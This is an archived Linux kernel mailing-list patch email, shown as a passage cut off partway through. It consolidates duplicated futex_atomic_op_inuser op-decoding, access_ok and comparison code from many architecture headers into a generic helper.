X-Trace: blaine.gmane.org 1488544083 30154 195.159.176.226 (3 Mar 2017 12:28:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Mar 2017 12:28:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Fri Mar 03 13:27:52 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjmJJ-0006J7-In
	for sgi-linux-mips@gmane.org; Fri, 03 Mar 2017 13:27:49 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id d09ea849-000c-11e7-b156-b499baabecb2;
	Fri, 03 Mar 2017 12:27:50 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:55214 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993419AbdCCM1q0dO1M (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Mar 2017 13:27:46 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Mar 2017 13:27:32 +0100 (CET)
Original-Received: from mx2.suse.de ([195.135.220.15]:33523 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S23993411AbdCCM1WnU0FM (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 3 Mar 2017 13:27:22 +0100
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 34114ADE8;
        Fri,  3 Mar 2017 12:27:18 +0000 (UTC)
X-Mailer: git-send-email 2.12.0
X-archive-position: 57014
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jslaby@suse.cz
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58177 gmane.linux.kernel:2422819 gmane.linux.ports.alpha:4104 gmane.linux.kernel.arc:2175 gmane.linux.ports.arm.kernel:562422 gmane.linux.ports.hexagon:1133 gmane.linux.ports.ia64:27671 gmane.linux.ports.parisc:27293 gmane.linux.ports.ppc64.devel:139190 gmane.linux.ports.sh.devel:55103 gmane.linux.ports.sparc:24667 gmane.linux.kernel.cross-arch:35349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58177>

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Stafford Horne <shorne@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: <x86@kernel.org>
Cc: <linux-alpha@vger.kernel.org>
Cc: <linux-kernel@vger.kernel.org>
Cc: <linux-snps-arc@lists.infradead.org>
Cc: <linux-arm-kernel@lists.infradead.org>
Cc: <linux-hexagon@vger.kernel.org>
Cc: <linux-ia64@vger.kernel.org>
Cc: <linux-mips@linux-mips.org>
Cc: <openrisc@lists.librecores.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: <linuxppc-dev@lists.ozlabs.org>
Cc: <linux-s390@vger.kernel.org>
Cc: <linux-sh@vger.kernel.org>
Cc: <sparclinux@vger.kernel.org>
Cc: <linux-xtensa@linux-xtensa.org>
Cc: <linux-arch@vger.kernel.org>
---
 arch/alpha/include/asm/futex.h      | 26 ++++---------------
 arch/arc/include/asm/futex.h        | 40 ++++-------------------------
 arch/arm/include/asm/futex.h        | 26 +++----------------
 arch/arm64/include/asm/futex.h      | 26 +++----------------
 arch/frv/include/asm/futex.h        |  3 ++-
 arch/frv/kernel/futex.c             | 27 +++-----------------
 arch/hexagon/include/asm/futex.h    | 38 +++-------------------------
 arch/ia64/include/asm/futex.h       | 25 +++----------------
 arch/microblaze/include/asm/futex.h | 38 +++-------------------------
 arch/mips/include/asm/futex.h       | 25 +++----------------
 arch/openrisc/include/asm/futex.h   | 39 +++--------------------------
 arch/parisc/include/asm/futex.h     | 26 +++----------------
 arch/powerpc/include/asm/futex.h    | 26 ++++---------------
 arch/s390/include/asm/futex.h       | 23 ++++-------------
 arch/sh/include/asm/futex.h         | 26 +++----------------
 arch/sparc/include/asm/futex_64.h   | 26 ++++---------------
 arch/tile/include/asm/futex.h       | 40 ++++-------------------------
 arch/x86/include/asm/futex.h        | 40 ++++-------------------------
 arch/xtensa/include/asm/futex.h     | 27 ++++----------------
 include/asm-generic/futex.h         | 50 +++++++------------------------------
 kernel/futex.c                      | 36 ++++++++++++++++++++++++++
 21 files changed, 127 insertions(+), 506 deletions(-)

diff --git a/arch/alpha/include/asm/futex.h b/arch/alpha/include/asm/futex.h
index f939794363ac..56474690e685 100644
--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -29,18 +29,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arc/include/asm/futex.h b/arch/arc/include/asm/futex.h
index 11e1b1f3acda..eb887dd13e74 100644
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm/include/asm/futex.h b/arch/arm/include/asm/futex.h
index 6795368ad023..cc414382dab4 100644
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
index 85c4a8981d47..5bb2fd4674e7 100644
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -48,20 +48,10 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -91,17 +81,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/frv/include/asm/futex.h b/arch/frv/include/asm/futex.h
index 2e1da71e27a4..ab346f5f8820 100644
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <linux/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
diff --git a/arch/frv/kernel/futex.c b/arch/frv/kernel/futex.c
index d155ca9e5098..37f7b2bf7f73 100644
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_xor(int oparg, u32 __user *uaddr, int *_o
 /*
  * do the futex operations
  */
-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
diff --git a/arch/hexagon/include/asm/futex.h b/arch/hexagon/include/asm/futex.h
index 7e597f8434da..c607b77c8215 100644
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/ia64/include/asm/futex.h b/arch/ia64/include/asm/futex.h
index 76acbcd5c060..6d67dc1eaf2b 100644
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/microblaze/include/asm/futex.h b/arch/microblaze/include/asm/futex.h
index 01848f056f43..a9dad9e5e132 100644
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/mips/include/asm/futex.h b/arch/mips/include/asm/futex.h
index 1de190bdfb9c..a9e61ea54ca9 100644
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/openrisc/include/asm/futex.h b/arch/openrisc/include/asm/futex.h
index 778087341977..8fed278a24b8 100644
--- a/arch/openrisc/include/asm/futex.h
+++ b/arch/openrisc/include/asm/futex.h
@@ -30,20 +30,10 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -68,30 +58,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index ac8bd586ace8..06a1a883c72f 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,22 +32,12 @@ _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
-
 	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
 
@@ -85,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/powerpc/include/asm/futex.h b/arch/powerpc/include/asm/futex.h
index eaada6c92344..719ed9b61ea7 100644
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -29,18 +29,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/s390/include/asm/futex.h b/arch/s390/include/asm/futex.h
index a4811aa0304d..8f8eec9e1198 100644
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
